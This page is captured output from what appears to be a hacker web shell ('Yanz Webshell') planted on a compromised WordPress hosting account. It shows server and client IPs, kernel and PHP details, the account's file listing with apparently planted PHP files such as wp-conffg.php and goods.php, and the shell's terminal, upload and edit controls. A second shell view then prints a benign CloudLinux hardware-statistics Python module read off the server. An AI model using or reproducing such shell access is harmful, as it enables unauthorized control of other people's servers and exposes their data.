Attention:
Uname:
Php:
Hdd:
Cwd:
Yanz Webshell! - PRIV8 WEB SHELL ORB YANZ BYPASS!
Linux server234.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
8.3.30 Safe mode: OFF Datetime: 2026-05-05 06:04:47
3907.15 GB Free: 1078.34 GB (27%)
/home/repauqkb/public_html/ drwxr-x--- [ root ] [ home ] Text

Server IP:
198.54.116.179
Client IP:
216.73.216.147
[ Files ][ Logout ]

File manager

NameSizeModifyPermissionsActions
[ . ]dir2026-05-05 02:30:18drwxr-x---Rename Touch
[ .. ]dir2025-04-18 09:10:57drwx--x--xRename Touch
[ wp-admin ]dir2026-05-05 01:36:32drwxr-xr-xRename Touch
[ wp-content ]dir2026-05-05 01:36:33drwxr-x---Rename Touch
[ wp-includes ]dir2026-05-05 01:36:38drwxr-xr-xRename Touch
.hcflag31 B2026-05-05 02:30:18-rw-r--r--Rename Touch Edit Download
.htaccess626 B2026-05-05 01:36:36-r--r--r--Rename Touch Edit Download
.htaccess.bk243 B2026-04-28 01:30:21-rw-r--r--Rename Touch Edit Download
.litespeed_flag297 B2026-05-05 01:36:06-rw-r--r--Rename Touch Edit Download
error_log5.70 MB2026-05-05 06:04:46-rw-r--r--Rename Touch Edit Download
goods.php173.77 KB2026-05-05 01:13:55-rw-r--r--Rename Touch Edit Download
index.php16.36 KB2026-05-05 01:36:36-r--r--r--Rename Touch Edit Download
license.txt19.44 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
options-privacy-more.php768 B2025-06-24 17:01:07-rw-r--r--Rename Touch Edit Download
qinfofuns.php12.90 KB2026-04-23 18:25:11-rw-r--r--Rename Touch Edit Download
readme.html7.25 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-activate.php7.18 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-blog-header.php351 B2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-comments-post.php2.27 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-conffg.php122.70 KB2026-05-05 01:13:55-rw-r--r--Rename Touch Edit Download
wp-config-sample.php3.26 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-config.php3.55 KB2026-03-27 14:45:59-rw-r--r--Rename Touch Edit Download
wp-cron.php5.49 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-links-opml.php2.43 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-load.php3.84 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-login.php50.23 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-mail.php8.52 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-settings.php30.33 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-signup.php33.71 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-trackback.php5.09 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wper.php16.31 KB2026-01-27 01:19:39-rw-r--r--Rename Touch Edit Download
xmlrpc.php3.13 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
yeni.php27.21 KB2026-04-23 17:49:33-rw-r--r--Rename Touch Edit Download
 
Change dir:
Read file:
Make dir: (Writeable)
Make file: (Writeable)
Terminal:
Upload file: (Writeable)

HEX
HEX
Server: LiteSpeed
System: Linux server234.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User: repauqkb (12019)
PHP: 8.3.30
Disabled: NONE
Upload Files
File: //opt/cloudlinux/venv/lib64/python3.11/site-packages/clsummary/hardware_statistics.py
# coding=utf-8
#
# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2019 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENSE.TXT

import os
from typing import Optional, Dict, AnyStr, Union, List


class NotSupported(Exception):
    """
    Custom error to handle compatibility issues
    """
    pass


def get_proc_info_as_list_of_dicts(
        file_content: AnyStr
) -> List[Optional[Dict[AnyStr, AnyStr]]]:
    """
    Parses the response of /proc files
    Since this file has a possibility to include multiple
    objects info, we need to parse all of them in the separate dicts
    :file_content: /proc file content. Example:

        processor       : 0
        vendor_id       : AuthenticAMD

        processor       : 1
        vendor_id       : AuthenticAMD_1

    return: list of dicts with each node

    """
    result = []
    for info_object in file_content.split("\n\n"):
        temp_dict = {}
        if not info_object:
            continue
        for info_attr in info_object.split("\n"):
            values = info_attr.split(":")
            if len(values) == 2:
                temp_dict[values[0].strip()] = values[1].strip()
        result.append(temp_dict)
    return result


def convert_string_kb_to_mb_value(value: str) -> float:
    """
    Helper to get numeric value of string record and convert it to mb

    :value: metric value from /proc file. Example: '512 KB'
    return: converted value. Example: 0.5
    """
    return float(value.split()[0]) / 1024


def get_cpu_metrics() -> List[Optional[Dict[AnyStr,
                                            Union[AnyStr, float, int]]]]:
    """
    Prepare list of dicts with required cpu metrics
    The base of this method was taken from rhn_client_tools
    (src/up2date_client/hardware.py)

    Each CPU will be represented with a dict
    {
        "model": "foo",
        "cache_mb": 100,
        "frequency_mhz": 100,
        "id": 0
    }

    return: list of dicts with cpu metrics
    """
    result_list = []
    uname = os.uname().machine
    # We can't read the /proc/cpuinfo file or arch isn't compatible
    if not os.access("/proc/cpuinfo", os.R_OK):
        raise OSError("File for cpuinfo is restricted!")
    if uname not in ["x86_64", "i386"]:
        raise NotSupported(f"Machine arch {uname} isn't compatible!")

    with open("/proc/cpuinfo", "r", encoding="utf-8") as f:
        proc_cpuinfo = f.read()
    cpu_list = get_proc_info_as_list_of_dicts(proc_cpuinfo)
    for cpu in cpu_list:
        cpu_dict = {
            "id": int(cpu.get('processor', "0")),
            # Idea of set a default value from machine arch
            # was taken from rhn-client-tools hw getter
            "model": cpu.get('model name', uname),
            "cache_mb": convert_string_kb_to_mb_value(cpu.get('cache size', "0 KB")),
            "frequency_mhz": float(cpu.get('cpu MHz', "0"))
        }
        result_list.append(cpu_dict)
    return result_list


def get_memory_metrics() -> Dict[AnyStr, float]:
    """
    Prepare dict of memory metrics

    Dict will be represented as:
    {
        "ram_mb": 8.5
        "swap_mb": 2.04
    }
    """
    if not os.access("/proc/meminfo", os.R_OK):
        raise OSError("File for meminfo is restricted!")
    with open("/proc/meminfo", "r", encoding="utf-8") as f:
        proc_meminfo = f.read()
    # meminfo return only one info object
    mem_dict = get_proc_info_as_list_of_dicts(proc_meminfo)[0]
    # All mem_dict values are represented as string. Example:
    # 1000 KB
    # We need to split them, convert to int and divide on 1024
    # Thus, we will get MB representation of metric
    result = {
        "ram_mb": convert_string_kb_to_mb_value(mem_dict.get("MemTotal", "0 KB")),
        "swap_mb": convert_string_kb_to_mb_value(mem_dict.get("SwapTotal", "0 KB")),
    }
    return result